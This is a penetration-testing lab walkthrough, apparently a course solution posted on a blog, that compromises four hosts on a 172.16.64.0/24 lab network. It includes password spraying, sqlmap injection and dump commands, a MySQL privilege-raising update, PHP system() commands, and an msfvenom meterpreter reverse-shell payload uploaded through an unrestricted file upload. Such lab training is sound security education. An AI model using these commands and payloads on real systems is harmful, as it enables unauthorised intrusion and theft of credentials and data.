Black-box 2

 

  • You have been engaged in a Black-box Penetration Test (172.16.64.0/24 range). Your goal is to read the flag file on each machine. On some of them, you will be required to exploit a remote code execution vulnerability in order to read the flag.

  • Some machines are exploitable instantly but some might require exploiting other ones first. Enumerate every compromised machine to identify valuable information, that will help you proceed further into the environment.

  • If you are stuck on one of the machines, don't overthink and start pentesting another one.

  • When you read the flag file, you can be sure that the machine was successfully compromised. But keep your eyes open - apart from the flag, other useful information may be present on the system.

This is not a CTF! The flags' purpose is to help you identify if you fully compromised a machine or not.

The solutions contain the shortest path to compromise each machine.You should follow the penetration testing process covered in its entirety!

Goals

  • Discover all the machines on the network

  • Read all flag files (One per machine, stored on the filesystem or within a database)

  • Obtain a reverse shell at least on 172.16.64.92

What you will learn

  • Taking advantage of DNS and virtual hosts

  • Bypassing client-side access controls

  • Abusing unrestricted file upload to achieve remote code execution

Recommended tools

  • Dirb
  • Metasploit framework (recommended version 5)
  • Nmap
  • Sqlmap
  • BurpSuite
  • Text editor

Solutions

Below, you can find solutions for this engagement. Remember though that you can follow your own strategy (which may be different from the one explained below).

Step 1: CONNECT TO THE VPN

Connect to the lab environment using the provided VPN file.

Check if you received an IP address from the 172.16.64.0/24 range.

Step 2: DISCOVER LIVE HOSTS ON THE NETWORK

Using nmap, scan for live hosts on the 172.16.64.0/24 network.

Sort the discovered addresses (exclude your own IP address) and write the rest to a file. This file will be fed to nmap in order to perform a full TCP scan.

Then, use nmap with the following options:

  • -sV for version identification

  • -n for disabling reverse DNS lookup

  • -v for Verbose

  • -Pn to assume the host is alive

  • -p- to scan all the ports

  • -T4 to speed things up

  • -iL to use a list of IPs as input (ips.txt)

  • -A to run all scans in order to maximize output

You will come across something similar to the below.

Nmap scan report for 172.16.64.81
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 09:1e:bf:d0:44:0f:bc:c8:64:bd:ac:16:09:79:ca:a8 (RSA)
| 256 df:60:fc:fc:db:4b:be:b6:3e:7a:4e:84:4c:a1:57:7d (ECDSA)
|_ 256 ce:8c:fe:bd:76:77:8e:bd:c9:b8:8e:dc:66:b8:80:38 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
13306/tcp open mysql MySQL 5.7.25-0ubuntu0.16.04.2
| mysql-info:
| Protocol: 10
| Version: 5.7.25-0ubuntu0.16.04.2
| Thread ID: 13
| Capabilities flags: 63487
| Some Capabilities: SupportsCompression, Support41Auth,
SupportsLoadDataLocal, LongPassword, Speaks41ProtocolOld,
SupportsTransactions, IgnoreSigpipes, LongColumnFlag, ODBCClient,
InteractiveClient, Speaks41ProtocolNew, ConnectWithDatabase,
DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, FoundRows,
SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
| Status: Autocommit
| Salt: vgceu\2|l!k\x19NI;I}\x18]
|
|_ Auth Plugin Name: 96
MAC Address: 00:50:56:91:E1:EF (VMware)

Nmap scan report for 172.16.64.91
Host is up (0.17s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
6379/tcp open redis Redis key-value store
MAC Address: 00:50:56:91:29:38 (VMware)

Nmap scan report for 172.16.64.92
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f4:86:09:b3:d6:d1:ba:d0:28:65:33:b7:82:f7:a6:34 (RSA)
| 256 3b:d7:39:c3:4f:c4:71:a2:16:91:d1:8f:ac:04:a8:16 (ECDSA)
|_ 256 4f:43:ac:70:09:a6:36:c6:f5:b2:28:b8:b5:53:07:4c (ED25519)
53/tcp open domain dnsmasq 2.75
| dns-nsid:
|_ bind.version: dnsmasq-2.75
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Photon by HTML5 UP
63306/tcp open mysql MySQL 5.7.25-0ubuntu0.16.04.2
| mysql-info:
| Protocol: 10
| Version: 5.7.25-0ubuntu0.16.04.2
| Thread ID: 9
| Capabilities flags: 63487
| Some Capabilities: SupportsCompression, Support41Auth,
SupportsLoadDataLocal, LongPassword, Speaks41ProtocolOld,
SupportsTransactions, IgnoreSigpipes, LongColumnFlag, ODBCClient,
InteractiveClient, Speaks41ProtocolNew, ConnectWithDatabase,
DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, FoundRows,
SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
| Status: Autocommit
| Salt: \x0DO\#gT\x12\x7F\x0110lG\x0D\x0E\x01\x1Dsc~Y
|_ Auth Plugin Name: 96
MAC Address: 00:50:56:91:6C:84 (VMware)

Nmap scan report for 172.16.64.166
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a6:1e:f8:c6:eb:32:0a:f6:29:c8:de:86:b7:4c:a0:d7 (RSA)
| 256 b9:94:56:c7:4d:63:ad:bd:2d:5e:26:43:75:78:07:6f (ECDSA)
|_ 256 d6:82:45:0a:51:4e:01:2d:6a:be:fa:cf:75:de:46:a0 (ED25519)
8080/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Ucorpora Demo
MAC Address: 00:50:56:91:01:27 (VMware)

Step 3: EXPLOIT THE 172.16.64.166 MACHINE

Let's start by examining the web application on port 8080.

In the "About us" section the application states that we should log in.

However, when inspecting the page's source, the content is already available.

Note down those names and surnames. They can be valuable information. Then, let's move on to inspecting the SSH service that runs on a non-standard port.

It looks like someone has forgotten to change his default password. Let's try to log in using the previously-collected names and the default password mentioned in the banner (CHANGEME), either automatically or manually . Note, that only lowercase letters will be used.

After User sabrina did not change her default password.

Let's take the flag, as follows.

Now, let's also take a look at a backup (.bak) hosts file that resides in her home directory.

Those hostnames should be kept for later use. Possibly on the host where they point to, it is needed to know those virtual hosts names in order to access the proper application.

NOTE

This type of SSH attack is called "Password Spraying". Password Spraying is essentially using one password for each identified user once, in order not to lock the accounts out ("spray" all the users with one password). Here, we knew the working password already. In real-life engagements, you might want to try passwords like "March2019" once for every user - the larger the enterprise, the bigger the chance that numerous users will have a password of such format.

Step 4: USE THE OBTAINED VIRTUAL HOSTS IN ORDER TO ATTACK 172.16.64.81

Let's start by examining the application on port 80. In order to do that, you need to add part of the hosts file you found on the 172.16.64.166 machine to your own hosts file.

Now your system can resolve these hostnames into IP addresses and simultaneously, add the proper host header to the HTTP requests in order for the back-end server to serve you with the appropriate virtual host.

Let's go to cms.foocorp.io.

Setting up Burp proxy and walking through the site will reveal an interesting file users.bak. Below you can see what Burp discovered and placed into its target tab.

It looks like users.bak is a forgotten backup file that includes user credentials.

Let's try to use these credentials in order to access the application. Only john1's credentials work, however, logging in as him causes the application to meet a dead end - probably it was not configured properly.

Let's inspect that redirection in Burp Suite.

The application leaks database credentials in its headers! Let's use them to log into the remote database (the port was identified during the nmap scan).

After a short exploration, the flag is found in the "cmsbase" database, inside the "flag" table.

Step 5: COMPROMISE THE DNS SERVER

There's a machine that runs a DNS server. It is worth checking that machine since DNS may hold some interesting data about another Virtual host in the environment.

Let's visit the IP from the browser. There's a tracking system application present, and an alert box "Loaded!" pops out.

When inspecting the page's source code there's one custom script that is worth investigating.

It seems that the alert box came from this script. In addition, we notice a resource pointing to localhost. Let's check if this path is valid on the server side.

http://172.16.64.92/72ab311dcbfaa40ca0739f5daf505494/tracking2.php

It seems that this page is not interesting after all. But, if there's a tracking2.php file, maybe tracking.php also exists?

http://172.16.64.92/72ab311dcbfaa40ca0739f5daf505494/tracking.php

Indeed tracking.php exists on the remote server.

Let's once again inspect this resource through Burp.

There is a form that is not working since the button is "broken". However, reading the source we can easily reconstruct the parameter and issue a valid request, as follows.

Let's check if an SQL injection vulnerability exists here.

Indeed the parameter and the underlying query are vulnerable to an SQL injection attack!

sqlmap -u http://172.16.64.92/72ab311dcbfaa40ca0739f5daf505494/tracking.php?id=3 --users

The SQL injection vulnerability if officially confirmed by sqlmap. Let's dump the tables using sqlmap, as follows.

sqlmap -u http://172.16.64.92/72ab311dcbfaa40ca0739f5daf505494/tracking.php?id=3 --dump -D footracking -T users

Upon dumping, sqlmap managed to guess some of the passwords. Let's go back to the application, as we are not over yet.

Using your favorite directory discovery tool against http://172.16.64.92/72ab311dcbfaa40ca0739f5daf505494, will result in the popular server path /login being discovered. /login is instantly redirecting you to login.php. Let's try the dumped credentials there.

User tracking1 is unprivileged and can not perform any further actions.

Let's check the page's source.

We come across some DB Credentials being disclosed. Let's use them to log into the database (the port was discovered during the nmap scan) and try to elevate our role within the application.

mysql -u dbuser -p -P 63306 -h 172.16.64.92
[enter password]
use footracking;
update users set adm="yes" where username="tracking1";
select * from users;

update users set adm="yes" where username="tracking1";

Now let's log out and in again.

The console presented is a PHP console that allows execution of PHP code. This can be confirmed by issuing phpinfo();

You can also perform arbitrary requests, as follows.

Since we are an unprivileged "www-data" user, it is reasonable to browse the /var/www folder (since it doesn't require high privileges). Luckily the flag is stored there.

echo "<pre>";system("ls -la /var/www");echo"<\pre>";
system("cat /var/www/flag.txt");

Since this is a DNS server, it is recommended that you also browse /etc/hosts for some probably useful information. You can do that, as follows.

Inside Burp suite, the output looks much more clear. As you can see, an unknown Virtual Host was discovered among some fake hosts. Let's add it to our system's /etc/hosts file and continue with the last machine of this challenge.

Step 6: EXPLOIT THE 172.16.64.91 MACHINE

When visiting the application by its IP address, we only come across a default Apache page.

However, once the previously discovered virtual host is added to our /etc/hosts. We come across the below.

172.16.64.91    75ajvxi36vchsv584es1.foocorp.io

Let's use dirb to discover potentially hidden content on the website.

Dirb discovered http://75ajvxi36vchsv584es1.foocorp.io/app

This page keeps on displaying a javascript pop-up that makes our inspection difficult. However, there's an upload form that could be vulnerable to arbitrary file upload. Let's try to view the page's source code in order to inspect the form.

The form can be written locally to a .html file. It just needs a small modification, as follows.

<html><body style="background: black; color: white;">
<center><div style="border: 1px yellow double">
<br /><br />
<form action="http://75ajvxi36vchsv584es1.foocorp.io/app/upload/upload.php" method="post" enctype="multipart/form-data">
<br />Select file to upload:
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="Upload" name="submit">
</form>
<br /><br />
</div></center/>
<hr /><br />
<center>&copy; FooCORP 2019</center>
<body></html>
Now, open it in a browser.

After trying multiple files we conclude that the uploading functionality is probably broken and no files are allowed at all.

When going back to dirb, we can observe that within the /app/ directory another path was also discovered, /app/upload, that instantly redirects the user to upload.php file in the top directory.

Let's modify the local html form to point to http://75ajvxi36vchsv584es1.foocorp.io/app/upload.php, instead of http://75ajvxi36vchsv584es1.foocorp.io/app/upload/upload.php

<html><body style="background: black; color: white;">
<center><div style="border: 1px yellow double">
<br /><br />
<form action="http://75ajvxi36vchsv584es1.foocorp.io/app/upload.php" method="post" enctype="multipart/form-data">
<br />Select file to upload:
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="Upload" name="submit">
</form>
<br /><br />
</div></center/>
<hr /><br />
<center>&copy; FooCORP 2019</center>
<body></html>

Let's upload a sample .php file named php.php. Its content will just the below function.

<?php
phpinfo();
?>

From inside Burp, uploading php.php looks as follows.

There's not much information about the uploaded file's whereabouts, but based on the locations we already discovered let's try browsing /app/upload/php.php, as follows.

It loos like every uploaded files is stored (and is accessible) on the /app/upload/ directory.

Let's finally try to generate and upload a meterpreter php file.

First let's setup the listener.

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set lhost 172.16.64.12
msf5 exploit(multi/handler) > set lport 443
msf5 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp
msf5 exploit(multi/handler) > run
Then, let's create the meterpreter php file.

msfvenom -p php/meterpreter_reverse_tcp lhost=172.16.64.12 lport=443 -o shell.php

You can upload the shell.php file you just created in the same way you previously did with php.php.

Visiting the /app/upload/shell.php file results in an instant meterpreter session being opened.

The flag file can be found in one of the server's working directories. See below.

Black-box Penetration Test 3

Penetration Testing Approach - Study Guide

Career Paths - Study Guide

Comments

Post a Comment

Popular Posts